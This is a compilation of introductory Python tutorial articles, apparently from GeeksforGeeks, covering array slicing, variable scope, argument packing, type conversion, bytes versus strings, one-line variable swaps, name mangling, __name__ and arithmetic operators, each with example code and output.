In Python array, there are multiple ways to print the whole array with all the elements, but to print a specific range of elements from the array, we use Slice operation. Slice operation is performed on array with the use of colon(:). To print elements from beginning to a range use [:Index], to print elements from end use [:-Index], to print elements from specific Index till the end use [Index:], to print elements within a range, use [Start Index:End Index] and to print whole List with the use of slicing operation, use [:]. Further, to print whole array in reverse order, use [::-1]. 
 

 

Python3




# Python program to demonstrate
# slicing of elements in a Array
 
# importing array module
import array as arr
 
# creating a list
l = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
 
a = arr.array('i', l)
print("Initial Array: ")
for i in (a):
    print(i, end =" ")
 
# Print elements of a range
# using Slice operation
Sliced_array = a[3:8]
print("\nSlicing elements in a range 3-8: ")
print(Sliced_array)
 
# Print elements from a
# pre-defined point to end
Sliced_array = a[5:]
print("\nElements sliced from 5th "
      "element till the end: ")
print(Sliced_array)
 
# Printing elements from
# beginning till end
Sliced_array = a[:]
print("\nPrinting all elements using slice operation: ")
print(Sliced_array)
Output
Initial Array: 
1 2 3 4 5 6 7 8 9 10 
Slicing elements in a range 3-8: 
array('i', [4, 5, 6, 7, 8])

Elements sliced from 5th element till the end: 
array('i', [6, 7, 8, 9, 10])

Printing all elements using slice operation: 
array('i', [1, 2, 3, 4, 5, 6, 7, 8, 9, 10])

Output : 

Initial Array: 
1 2 3 4 5 6 7 8 9 10 
Slicing elements in a range 3-8: 
array('i', [4, 5, 6, 7, 8])

Elements sliced from 5th element till the end: 
array('i', [6, 7, 8, 9, 10])

Printing all elements using slice operation: 
array('i', [1, 2, 3, 4, 5, 6, 7, 8, 9, 10])

 

Searching element in a Array

In order to search an element in the array we use a python in-built index() method. This function returns the index of the first occurrence of value mentioned in arguments. 
 

Python3




# Python code to demonstrate
# searching an element in array
 
  
# importing array module
import array
  
# initializing array with array values
# initializes array with signed integers
arr = array.array('i', [1, 2, 3, 1, 2, 5])
 
# printing original array
print ("The new created array is : ", end ="")
for i in range (0, 6):
    print (arr[i], end =" ")
 
print ("\r")
 
# using index() to print index of 1st occurrence of 2
print ("The index of 1st occurrence of 2 is : ", end ="")
print (arr.index(2))
 
# using index() to print index of 1st occurrence of 1
print ("The index of 1st occurrence of 1 is : ", end ="")
print (arr.index(1))

Output: 
 

The new created array is : 1 2 3 1 2 5 
The index of 1st occurrence of 2 is : 1
The index of 1st occurrence of 1 is : 0

 

Updating Elements in a Array

In order to update an element in the array we simply reassign a new value to the desired index we want to update. 
 

Python3




# Python code to demonstrate
# how to update an element in array
 
# importing array module
import array
 
# initializing array with array values
# initializes array with signed integers
arr = array.array('i', [1, 2, 3, 1, 2, 5])
 
# printing original array
print ("Array before updation : ", end ="")
for i in range (0, 6):
    print (arr[i], end =" ")
 
print ("\r")
 
# updating a element in a array
arr[2] = 6
print("Array after updation : ", end ="")
for i in range (0, 6):
    print (arr[i], end =" ")
print()
 
# updating a element in a array
arr[4] = 8
print("Array after updation : ", end ="")
for i in range (0, 6):
    print (arr[i], end =" ")

Output: 

Array before updation : 1 2 3 1 2 5 
Array after updation : 1 2 6 1 2 5 
Array after updation : 1 2 6 1 8 5 

My Personal Notes arrow_drop_up

Python | Set 2 (Variables, Expressions, Conditions and Functions)

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 24 May, 2022

Introduction to Python has been dealt with in this article. Now, let us begin with learning python.

Running your First Code in Python 
Python programs are not compiled, rather they are interpreted. Now, let us move to writing a python code and running it. Please make sure that python is installed on the system you are working on. If it is not installed, download it from here. We will be using python 2.7.

Making a Python file: 
Python files are stored with the extension “.py”. Open a text editor and save a file with the name “hello.py”. Open it and write the following code:

Python3




print ("Hello World")
# Notice that NO semi-colon is to be used

Reading the file contents: 
Linux System – Move to the directory from the terminal where the created file (hello.py) is stored by using the ‘cd’ command and then type the following in the terminal : 

python hello.py

Windows system – Open command prompt and move to the directory where the file is stored by using the ‘cd’ command and then run the file by writing the file name as a command.

Variables in Python 
Variables need not be declared first in python. They can be used directly. Variables in python are case-sensitive as most of the other programming languages. 

Example: 

Python3




a = 3
A = 4
print (a)
print (A)

The output is : 

3
4

Expressions in Python 
Arithmetic operations in python can be performed by using arithmetic operators and some of the in-built functions. 

Python3




a = 2
b = 3
c = a + b
print (c)
d = a * b
print (d)

The output is : 

5
6

Conditions in Python 
Conditional output in python can be obtained by using if-else and elif (else if) statements. 

Python3




a = 3
b = 9
if b % a == 0 :
    print ("b is divisible by a")
elif b + 1 == 10:
    print ("Increment in b produces 10")
else:
    print ("You are in else statement")

The output is : 

b is divisible by a

Functions in Python 
A function in python is declared by the keyword ‘def’ before the name of the function. The return type of the function need not be specified explicitly in python. The function can be invoked by writing the function name followed by the parameter list in the brackets. 

Python3




# Function for checking the divisibility
# Notice the indentation after function declaration
# and if and else statements
def checkDivisibility(a, b):
    if a % b == 0 :
        print ("a is divisible by b")
    else:
        print ("a is not divisible by b")
#Driver program to test the above function
checkDivisibility(4, 2)

The output is : 

a is divisible by b

So, python is a very simplified and less cumbersome language to code in. This easiness of python is itself promoting its wide use.

https://www.youtube.com/watch?v=gzDPuWKjmGQ

This article has been contributed by Nikhil Kumar Singh. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. 
  
 
 


My Personal Notes arrow_drop_up

What is the maximum possible value of an integer in Python ?

Improve Article
Save Article
Like Article
  • Difficulty Level : Basic
  • Last Updated : 24 May, 2022

Consider below Python program.
 

Python3




# A Python program to demonstrate that we can store
# large numbers in Python
  
x = 10000000000000000000000000000000000000000000
x = x + 1
print (x)

Output : 

10000000000000000000000000000000000000000001

In Python, value of an integer is not restricted by the number of bits and can expand to the limit of the available memory (Sources : this and this). Thus we never need any special arrangement for storing large numbers (Imagine doing above arithmetic in C/C++).
As a side note, in Python 3, there is only one type “int” for all type of integers. In Python 2.7. there are two separate types “int” (which is 32 bit) and “long int” that is same as “int” of Python 3.x, i.e., can store arbitrarily large numbers.
 

Python




# A Python program to show that there are two types in
# Python 2.7 : int and long int
# And in Python 3 there is only one type : int
  
x = 10
print(type(x))
  
x = 10000000000000000000000000000000000000000000
print(type(x))

Output in Python 2.7 : 
 

<type 'int'>
<type 'long'>

Python3




# A Python3 program to show that there are two types in
# Python 2.7 : int and long int
# And in Python 3 there is only one type : int
  
x = 10
print(type(x))
  
x = 10000000000000000000000000000000000000000000
print(type(x))

Output in Python 3 : 
 

<type 'int'>
<type 'int'>

We may want to try more interesting programs like below : 
 

Python3




# Printing 100 raise to power 100
print(100**100)

This article is contributed by Abhay Rathi. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above
 


My Personal Notes arrow_drop_up

Global and Local Variables in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 09 Nov, 2021
 

Global variables are those which are not defined inside any function and have a global scope whereas local variables are those which are defined inside a function and its scope is limited to that function only. In other words, we can say that local variables are accessible only inside the function in which it was initialized whereas the global variables are accessible throughout the program and inside every function. 

Local Variables

Local variables are those which are initialized inside a function and belongs only to that particular function. It cannot be accessed anywhere outside the function. Let’s see how to create a local variable.

Example: Creating local variables

Python3




def f():
     
    # local variable
    s = "I love Geeksforgeeks"
    print(s)
 
# Driver code
f()
Output
I love Geeksforgeeks

If we will try to use this local variable outside the function then let’s see what will happen.

Example:

Python3




def f():
     
    # local variable
    s = "I love Geeksforgeeks"
    print("Inside Function:", s)
 
# Driver code
f()
print(s)

Output

NameError: name 's' is not defined

Global Variables

The global variables are those which are defined outside any function and which are accessible throughout the program i.e. inside and outside of every function Let’s see how to create a global variable.

Example: Defining and accessing global variables

Python3




# This function uses global variable s
def f():
    print("Inside Function", s)
 
# Global scope
s = "I love Geeksforgeeks"
f()
print("Outside Function", s)
Output
Inside Function I love Geeksforgeeks
Outside Function I love Geeksforgeeks

The variable s is defined as the global variable and is used both inside the function as well as outside the function.

Note: As there are no locals, the value from the globals will be used.

Now, what if there is a variable with the same name initialized inside a function as well as globally. Now the question arises, will the local variable will have some effect on the global variable or vice versa, and what will happen if we change the value of variable inside of the function f()? Will it affect the globals as well? We test it in the following piece of code: 

Python3




# This function has a variable with
# name same as s.
def f():
    s = "Me too."
    print(s)
 
# Global scope
s = "I love Geeksforgeeks"
f()
print(s)

Output: 

Me too.
I love Geeksforgeeks.

If a variable with the same name is defined inside the scope of function as well then it will print the value given inside the function only and not the global value. 

The question is, what if we try to change the value of a global variable inside the function. Let’s see it using the below example.

Example: 

Python3




# This function uses global variable s
def f():
    s += 'GFG'
    print("Inside Function", s)
 
# Global scope
s = "I love Geeksforgeeks"
f()

Output

UnboundLocalError: local variable 's' referenced before assignment

To make the above program work, we need to use the “global” keyword. Let’s see what this global keyword is.

Global Keyword

We only need to use the global keyword in a function if we want to do assignments or change the global variable. global is not needed for printing and accessing. Python “assumes” that we want a local variable due to the assignment to s inside of f(), so the first statement throws the error message. Any variable which is changed or created inside of a function is local if it hasn’t been declared as a global variable. To tell Python, that we want to use the global variable, we have to use the keyword “global”, as can be seen in the following example: 

Example 1: Using global keyword

Python3




# This function modifies the global variable 's'
def f():
    global s
    s += ' GFG'
    print(s)
    s = "Look for Geeksforgeeks Python Section"
    print(s)
 
# Global Scope
s = "Python is great!"
f()
print(s)
Output
Python is great! GFG
Look for Geeksforgeeks Python Section
Look for Geeksforgeeks Python Section

Now there is no ambiguity. 

Example 2: Using global and local variables

Python3




a = 1
 
# Uses global because there is no local 'a'
def f():
    print('Inside f() : ', a)
 
# Variable 'a' is redefined as a local
def g():
    a = 2
    print('Inside g() : ', a)
 
# Uses global keyword to modify global 'a'
def h():
    global a
    a = 3
    print('Inside h() : ', a)
 
 
# Global scope
print('global : ', a)
f()
print('global : ', a)
g()
print('global : ', a)
h()
print('global : ', a)
Output
global :  1
Inside f() :  1
global :  1
Inside g() :  2
global :  1
Inside h() :  3
global :  3

This article is contributed by Shwetanshu Rohatgi. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


My Personal Notes arrow_drop_up

Packing and Unpacking Arguments in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Medium
  • Last Updated : 25 Jan, 2022

We use two operators * (for tuples) and ** (for dictionaries).
 

Background 
Consider a situation where we have a function that receives four arguments. We want to make a call to this function and we have a list of size 4 with us that has all arguments for the function. If we simply pass a list to the function, the call doesn’t work. 
 

Python3




# A Python program to demonstrate need
# of packing and unpacking
 
# A sample function that takes 4 arguments
# and prints them.
def fun(a, b, c, d):
    print(a, b, c, d)
 
# Driver Code
my_list = [1, 2, 3, 4]
 
# This doesn't work
fun(my_list)

Output : 

TypeError: fun() takes exactly 4 arguments (1 given)

  
Unpacking 
We can use * to unpack the list so that all elements of it can be passed as different parameters.
 

Python3




# A sample function that takes 4 arguments
# and prints the,
def fun(a, b, c, d):
    print(a, b, c, d)
 
# Driver Code
my_list = [1, 2, 3, 4]
 
# Unpacking list into four arguments
fun(*my_list)

Output : 

(1, 2, 3, 4)

We need to keep in mind that the no. of arguments must be the same as the length of the list that we are unpacking for the arguments.

Python3




# Error when len(args) != no of actual arguments
# required by the function
 
args = [0, 1, 4, 9]
 
 
def func(a, b, c):
    return a + b + c
 
 
# calling function with unpacking args
func(*args)

Output:

Traceback (most recent call last):
  File "/home/592a8d2a568a0c12061950aa99d6dec3.py", line 10, in <module>
    func(*args)
TypeError: func() takes 3 positional arguments but 4 were given

As another example, consider the built-in range() function that expects separate start and stops arguments. If they are not available separately, write the function call with the *-operator to unpack the arguments out of a list or tuple: 

Python3




>>>
>>> range(3, 6# normal call with separate arguments
[3, 4, 5]
>>> args = [3, 6]
>>> range(*args)  # call with arguments unpacked from a list
[3, 4, 5]

Packing 
When we don’t know how many arguments need to be passed to a python function, we can use Packing to pack all arguments in a tuple. 
 

Python3




# A Python program to demonstrate use
# of packing
 
# This function uses packing to sum
# unknown number of arguments
def mySum(*args):
    return sum(args)
 
# Driver code
print(mySum(1, 2, 3, 4, 5))
print(mySum(10, 20))

Output: 
 

15
30

The above function mySum() does ‘packing’ to pack all the arguments that this method call receives into one single variable. Once we have this ‘packed’ variable, we can do things with it that we would with a normal tuple. args[0] and args[1] would give you the first and second argument, respectively. Since our tuples are immutable, you can convert the args tuple to a list so you can also modify, delete, and re-arrange items in i.
 

Packing and Unpacking 
Below is an example that shows both packing and unpacking. 
 

Python3




# A Python program to demonstrate both packing and
# unpacking.
 
# A sample python function that takes three arguments
# and prints them
def fun1(a, b, c):
    print(a, b, c)
 
# Another sample function.
# This is an example of PACKING. All arguments passed
# to fun2 are packed into tuple *args.
def fun2(*args):
 
    # Convert args tuple to a list so we can modify it
    args = list(args)
 
    # Modifying args
    args[0] = 'Geeksforgeeks'
    args[1] = 'awesome'
 
    # UNPACKING args and calling fun1()
    fun1(*args)
 
# Driver code
fun2('Hello', 'beautiful', 'world!')

Output: 
 

(Geeksforgeeks, awesome, world!)

** is used for dictionaries 
 

Python3




# A sample program to demonstrate unpacking of
# dictionary items using **
def fun(a, b, c):
    print(a, b, c)
 
# A call with unpacking of dictionary
d = {'a':2, 'b':4, 'c':10}
fun(**d)

Output:
 

2 4 10

Here ** unpacked the dictionary used with it, and passed the items in the dictionary as keyword arguments to the function. So writing “fun(1, **d)” was equivalent to writing “fun(1, b=4, c=10)”.
 

Python3




# A Python program to demonstrate packing of
# dictionary items using **
def fun(**kwargs):
 
    # kwargs is a dict
    print(type(kwargs))
 
    # Printing dictionary items
    for key in kwargs:
        print("%s = %s" % (key, kwargs[key]))
 
# Driver code
fun(name="geeks", ID="101", language="Python")
Output
<class 'dict'>
name = geeks
ID = 101
language = Python

Applications and Important Points 

  1. Used in socket programming to send a vast number of requests to a server.
  2. Used in the Django framework to send variable arguments to view functions.
  3. There are wrapper functions that require us to pass in variable arguments.
  4. Modification of arguments becomes easy, but at the same time validation is not proper, so they must be used with care.

Reference : 
http://hangar.runway7.net/python/packing-unpacking-arguments
This article is contributed by Shwetanshu Rohatgi. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above
 


My Personal Notes arrow_drop_up

Type Conversion in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 13 May, 2022

Python defines type conversion functions to directly convert one data type to another which is useful in day-to-day and competitive programming. This article is aimed at providing information about certain conversion functions.

There are two types of Type Conversion in Python:

  1. Implicit Type Conversion
  2. Explicit Type Conversion

Let’s discuss them in detail.

Implicit Type Conversion

In Implicit type conversion of data types in Python, the Python interpreter automatically converts one data type to another without any user involvement. To get a more clear view of the topic see the below examples.

Example:

Python3




x = 10
  
print("x is of type:",type(x))
  
y = 10.6
print("y is of type:",type(y))
  
x = x + y
  
print(x)
print("x is of type:",type(x))

Output:

x is of type: <class 'int'>
y is of type: <class 'float'>
20.6
x is of type: <class 'float'>

As we can see the type of ‘x’ got automatically changed to the “float” type from the “integer” type. this is a simple case of Implicit type conversion in python.

Explicit Type Conversion

In Explicit Type Conversion in Python, the data type is manually changed by the user as per their requirement. Various forms of explicit type conversion are explained below:
 

1. int(a, base): This function converts any data type to integer. ‘Base’ specifies the base in which string is if the data type is a string.
2. float(): This function is used to convert any data type to a floating-point number 

Python3




# Python code to demonstrate Type conversion
# using int(), float()
  
# initializing string
s = "10010"
  
# printing string converting to int base 2
c = int(s,2)
print ("After converting to integer base 2 : ", end="")
print (c)
  
# printing string converting to float
e = float(s)
print ("After converting to float : ", end="")
print (e)

Output: 

After converting to integer base 2 : 18
After converting to float : 10010.0

3. ord() : This function is used to convert a character to integer.
4. hex() : This function is to convert integer to hexadecimal string.
5. oct() : This function is to convert integer to octal string.

Python3




# Python code to demonstrate Type conversion
# using  ord(), hex(), oct()
  
# initializing integer
s = '4'
  
# printing character converting to integer
c = ord(s)
print ("After converting character to integer : ",end="")
print (c)
  
# printing integer converting to hexadecimal string
c = hex(56)
print ("After converting 56 to hexadecimal string : ",end="")
print (c)
  
# printing integer converting to octal string
c = oct(56)
print ("After converting 56 to octal string : ",end="")
print (c)

Output: 

After converting character to integer : 52
After converting 56 to hexadecimal string : 0x38
After converting 56 to octal string : 0o70

6. tuple() : This function is used to convert to a tuple.
7. set() : This function returns the type after converting to set.
8. list() : This function is used to convert any data type to a list type.

Python3




# Python code to demonstrate Type conversion
# using  tuple(), set(), list()
  
# initializing string
s = 'geeks'
  
# printing string converting to tuple
c = tuple(s)
print ("After converting string to tuple : ",end="")
print (c)
  
# printing string converting to set
c = set(s)
print ("After converting string to set : ",end="")
print (c)
  
# printing string converting to list
c = list(s)
print ("After converting string to list : ",end="")
print (c)

Output: 

After converting string to tuple : ('g', 'e', 'e', 'k', 's')
After converting string to set : {'k', 'e', 's', 'g'}
After converting string to list : ['g', 'e', 'e', 'k', 's']

9. dict() : This function is used to convert a tuple of order (key,value) into a dictionary.
10. str() : Used to convert integer into a string.
11. complex(real,imag) : This function converts real numbers to complex(real,imag) number.

Python3




# Python code to demonstrate Type conversion
# using  dict(), complex(), str()
  
# initializing integers
a = 1
b = 2
  
# initializing tuple
tup = (('a', 1) ,('f', 2), ('g', 3))
  
# printing integer converting to complex number
c = complex(1,2)
print ("After converting integer to complex number : ",end="")
print (c)
  
# printing integer converting to string
c = str(a)
print ("After converting integer to string : ",end="")
print (c)
  
# printing tuple converting to expression dictionary
c = dict(tup)
print ("After converting tuple to dictionary : ",end="")
print (c)

Output: 

After converting integer to complex number : (1+2j)
After converting integer to string : 1
After converting tuple to dictionary : {'a': 1, 'f': 2, 'g': 3}

12. chr(number): This function converts number to its corresponding ASCII character. 

Python3




# Convert ASCII value to characters
a = chr(76)
b = chr(77)
  
print(a)
print(b)

Output: 

L
M
 


My Personal Notes arrow_drop_up

Byte Objects vs String in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 24 Jan, 2022

In Python 2, both str and bytes are the same typeByte objects whereas in Python 3 Byte objects, defined in Python 3 are “sequence of bytes” and similar to “unicode” objects from Python 2. However, there are many differences in strings and Byte objects. Some of them are depicted below: 

 

 

string vs byte in python

There are methods to convert a byte object to String and String to byte objects.
 

Encoding

PNG, JPEG, MP3, WAV, ASCII, UTF-8 etc are different forms of encodings. An encoding is a format to represent audio, images, text, etc in bytes. Converting Strings to byte objects is termed as encoding. This is necessary so that the text can be stored on disk using mapping using ASCII or UTF-8 encoding techniques.
This task is achieved using encode(). It take encoding technique as argument. Default technique is “UTF-8” technique.
 

Python3




# Python code to demonstrate String encoding
 
# initialising a String
a = 'GeeksforGeeks'
 
# initialising a byte object
c = b'GeeksforGeeks'
 
# using encode() to encode the String
# encoded version of a is stored in d
# using ASCII mapping
d = a.encode('ASCII')
 
# checking if a is converted to bytes or not
if (d==c):
    print ("Encoding successful")
else : print ("Encoding Unsuccessful")

Output: 
 

Encoding successful

 

Decoding

Similarly, Decoding is process to convert a Byte object to String. It is implemented using decode() . A byte string can be decoded back into a character string, if you know which encoding was used to encode it. Encoding and Decoding are inverse processes. 
 

Python3




# Python code to demonstrate Byte Decoding
 
# initialising a String
a = 'GeeksforGeeks'
 
# initialising a byte object
c = b'GeeksforGeeks'
 
# using decode() to decode the Byte object
# decoded version of c is stored in d
# using ASCII mapping
d = c.decode('ASCII')
 
# checking if c is converted to String or not
if (d==a):
    print ("Decoding successful")
else : print ("Decoding Unsuccessful")

Output: 
 

Decoding successful

This article is contributed by Manjeet Singh. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
 


My Personal Notes arrow_drop_up

Print Single and Multiple variable in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Basic
  • Last Updated : 07 Jan, 2022

In Python 3.X, the print statement is written as a print() function. Below is code in Python 3.X that shows the process of printing values in Python.

Example 1: Printing Single value

Python3




# Equivalent codes in Python 3.0
# (Produces same output)
 
# Code 1:
print(1)
 
# Code 2 :
print((1))

Output: 

1 
1

Example 2: Printing multiple values  

Python3




# Code 1:
print(1, 2)
 
# Code 2:
print((1, 2))
 
# Code 3:
# printing on the same line
# for printing on the same line use
# end parameters of the print function
# end takes the values which is printing
# at the end of the output.
print(1, end=" ")
print(2)

Output: 

1 2
(1, 2)
1 2

This article is contributed by Arpit Agarwal. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above 

My Personal Notes arrow_drop_up

Swap Two Variables in One Line

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 21 Jan, 2022

We have discussed different approaches to swap two integers without the temporary variable. How to swap into a single line without using the library function?
1) Python: In Python, there is a simple and syntactically neat construct to swap variables, we just need to write “x, y = y, x”.
2) C/C++: Below is one generally provided classical solution: 

// Swap using bitwise XOR (Wrong Solution in C/C++)
x ^= y ^= x ^= y; 

The above solution is wrong in C/C++ as it causes undefined behavior (the compiler is free to behave in any way). The reason is, modifying a variable more than once in an expression causes undefined behavior if there is no sequence point between the modifications. 
However, we can use a comma to introduce sequence points. So the modified solution is 

// Swap using bitwise XOR (Correct Solution in C/C++)
// sequence point introduced using comma.
(x ^= y), (y ^= x), (x ^= y);

3) Java: In Java, rules for subexpression evaluations are clearly defined. The left-hand operand is always evaluated before the right-hand operand. In Java, the expression “x ^= y ^= x ^= y;” doesn’t produce the correct result according to Java rules. It makes x = 0. However, we can use “x = x ^ y ^ (y = x);” Note the expressions are evaluated from left to right. If x = 5 and y = 10 initially, the expression is equivalent to “x = 5 ^ 10 ^ (y = 5);”. Note that we can’t use this in C/C++ as in C/C++, it is not defined whether the left operand or right operand is executed by any operator (See this for more details).

4) JavaScript: Using destructing assignment, we can simply achieve swapping using this one line. 

[x,y]=[y,x]

C




// C program to swap two variables in single line
#include <stdio.h>
int main()
{
    int x = 5, y = 10;
    (x ^= y), (y ^= x), (x ^= y);
    printf("After Swapping values of x and y are %d %d", x,
           y);
    return 0;
}

C++




// C++ code to swap using XOR
#include <bits/stdc++.h>
 
using namespace std;
 
int main()
{
    int x = 5, y = 10;
    // Code to swap 'x'  and 'y'
    // to swap two numbers in one
    // line
     x = x ^ y, y = x ^ y, x = x ^ y;
    // printing the swapped variables
    cout << "After Swapping: x = "
         << x << ", y= " << y;
    return 0;
}

Java




// Java program to swap two variables in a single line
class GFG {
    public static void main(String[] args)
    {
        int x = 5, y = 10;
        x = x ^ y ^ (y = x);
        System.out.println(
            "After Swapping values"
            +" of x and y are " + x
            + " " + y);
    }
}

Python3




# Python program to swap two variables in a single line
x = 5
y = 10
x, y = y, x
print("After Swapping values of x and y are", x, y)

C#




// C# program to swap two
// variables in single line
using System;
 
class GFG {
    static public void Main()
    {
        int x = 5, y = 10;
        x = x ^ y ^ (y = x);
        Console.WriteLine("After Swapping values "
                          + "of x and y are " + x + " "
                          + y);
    }
}
 
// This code is contributed by aj_36

PHP




<?php
// PHP program to swap two
// variables in single line
 
    // Driver Code
    $x = 5;
    $y = 10;
    ($x ^= $y);
    ($y ^= $x);
    ($x ^= $y);
    echo "After Swapping values of x and y are "
                                  ,$x," ", $y;
 
// This code is contributed by Vishal Tripathi
?>

Javascript




<script>
// javascript program to swap two variables in single line
 
    let x = 5, y = 10;
    (x ^= y), (y ^= x), (x ^= y);
    document.write("After Swapping values of x and y are ", x + " ",
           y);
  
// This code is contributed by Surbhi Tyagi
</script>

Output

After Swapping values of x and y are 10 5

Alternate Solutions: 

  1. Using swap(): C++ library function
  2. b = (a + b) – (a = b);
  3. a += b – (b = a);
  4. a = a * b / (b = a)
  5. a = a ^ b ^ (b = a)

This article is contributed by Harshit Gupta. If you like GeeksforGeeks and would like to contribute, you can also write an article on write.geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above


My Personal Notes arrow_drop_up

Private Variables in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Hard
  • Last Updated : 19 Aug, 2021

Prerequisite: Underscore in Python
In Python, there is no existence of “Private” instance variables that cannot be accessed except inside an object. However, a convention is being followed by most Python code and coders i.e., a name prefixed with an underscore, For e.g. _geek should be treated as a non-public part of the API or any Python code, whether it is a function, a method, or a data member. While going through this we would also try to understand the concept of various forms of trailing underscores, for e.g., for _ in range(10), __init__(self). 
 

Mangling and how it works

In Python, there is something called name mangling, which means that there is limited support for a valid use-case for class-private members basically to avoid name clashes of names with names defined by subclasses. Any identifier of the form __geek (at least two leading underscores or at most one trailing underscore) is replaced with _classname__geek, where classname is the current class name with a leading underscore(s) stripped. As long as it occurs within the definition of the class, this mangling is done. This is helpful for letting subclasses override methods without breaking intraclass method calls. 
Let’s look at this example and try to find out how this underscore works: 
 

Python




# Python code to illustrate how mangling works
class Map:
    def __init__(self, iterate):
        self.list = []
        self.__geek(iterate)
    def geek(self, iterate):
        for item in iterate:
            self.list.append(item)
 
    # private copy of original geek() method
    __geek = geek  
 
class MapSubclass(Map):
     
    # provides new signature for geek() but
    # does not break __init__()
    def geek(self, key, value):       
        for i in zip(keys, value):
            self.list.append(i)

The mangling rules are designed mostly to avoid accidents but it is still possible to access or modify a variable that is considered private. This can even be useful in special circumstances, such as in the debugger.
 

_Single Leading Underscores

So basically one underline at the beginning of a method, function, or data member means you shouldn’t access this method because it’s not part of the API. Let’s look at this snippet of code: 

Python




# Python code to illustrate
# how single underscore works
def _get_errors(self):
    if self._errors is None:
        self.full_clean()
    return self._errors
 
errors = property(_get_errors)

The snippet is taken from the Django source code (django/forms/forms.py). This suggests that errors are property, and it’s also a part of the API, but the method, _get_errors, is “private”, so one shouldn’t access it.
 

__Double Leading Underscores

Two underlines, in the beginning, cause a lot of confusion. This is about syntax rather than a convention. double underscore will mangle the attribute names of a class to avoid conflicts of attribute names between classes. For example: 

Python




# Python code to illustrate how double
# underscore at the beginning works
class Geek:
    def _single_method(self):
        pass
    def __double_method(self): # for mangling
        pass
class Pyth(Geek):
    def __double_method(self): # for mangling
        pass

__Double leading and Double trailing underscores__

There’s another case of double leading and trailing underscores. We follow this while using special variables or methods (called “magic method”) such as__len__, __init__. These methods provide special syntactic features to the names. For example, __file__ indicates the location of the Python file, __eq__ is executed when a == b expression is executed. 
 

Example:  

Python




# Python code to illustrate double leading and
# double trailing underscore works
class Geek:
 
    # '__init__' for initializing, this is a
    # special method 
    def __init__(self, ab):
        self.ab = ab
 
    # custom special method. try not to use it
    def __custom__(self):
        pass

This article is contributed by Chinmoy Lenka. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. 
I have referred Python Docs, hackernoon.com and igorsobreira.com
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


My Personal Notes arrow_drop_up

__name__ (A Special variable) in Python

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 24 May, 2022

Since there is no main() function in Python, when the command to run a python program is given to the interpreter, the code that is at level 0 indentation is to be executed. However, before doing that, it will define a few special variables. __name__ is one such special variable. If the source file is executed as the main program, the interpreter sets the __name__ variable to have a value “__main__”. If this file is being imported from another module, __name__ will be set to the module’s name.
__name__ is a built-in variable which evaluates to the name of the current module. Thus it can be used to check whether the current script is being run on its own or being imported somewhere else by combining it with if statement, as shown below.

Consider two separate files File1 and File2.




# File1.py 
  
print ("File1 __name__ = %s" %__name__) 
  
if __name__ == "__main__"
    print ("File1 is being run directly")
else
    print ("File1 is being imported")

 




# File2.py 
  
import File1 
  
print ("File2 __name__ = %s" %__name__) 
  
if __name__ == "__main__"
    print ("File2 is being run directly")
else
    print ("File2 is being imported")
Now the interpreter is given the command to run File1.py.
python File1.py
Output :
File1 __name__ = __main__
File1 is being run directly


And then File2.py is run.
python File2.py
Output :
File1 __name__ = File1
File1 is being imported
File2 __name__ = __main__
File2 is being run directly

As seen above, when File1.py is run directly, the interpreter sets the __name__ variable as __main__ and when it is run through File2.py by importing, the __name__ variable is set as the name of the python script, i.e. File1. Thus, it can be said that if __name__ == “__main__” is the part of the program that runs when the script is run from the command line using a command like python File1.py.

This article is contributed by Harshit Agrawal. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.

Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


My Personal Notes arrow_drop_up

Python Operators

Improve Article
Save Article
Like Article
  • Difficulty Level : Easy
  • Last Updated : 24 May, 2022

Python Operators in general are used to perform operations on values and variables. These are standard symbols used for the purpose of logical and arithmetic operations. In this article, we will look into different types of Python operators. 

Arithmetic Operators

Arithmetic operators are used to performing mathematical operations like addition, subtraction, multiplication, and division.

OperatorDescriptionSyntax
+Addition: adds two operandsx + y
Subtraction: subtracts two operandsx – y
*Multiplication: multiplies two operandsx * y
/Division (float): divides the first operand by the secondx / y
//Division (floor): divides the first operand by the secondx // y
%Modulus: returns the remainder when the first operand is divided by the secondx % y
**Power: Returns first raised to power secondx ** y

Example: Arithmetic operators in Python

Python3




# Examples of Arithmetic Operator
a = 9
b = 4
  
# Addition of numbers
add = a + b
  
# Subtraction of numbers
sub = a - b
  
# Multiplication of number
mul = a * b
  
# Division(float) of number
div1 = a / b
  
# Division(floor) of number
div2 = a // b
  
# Modulo of both number
mod = a % b
  
# Power
p = a ** b
  
# print results
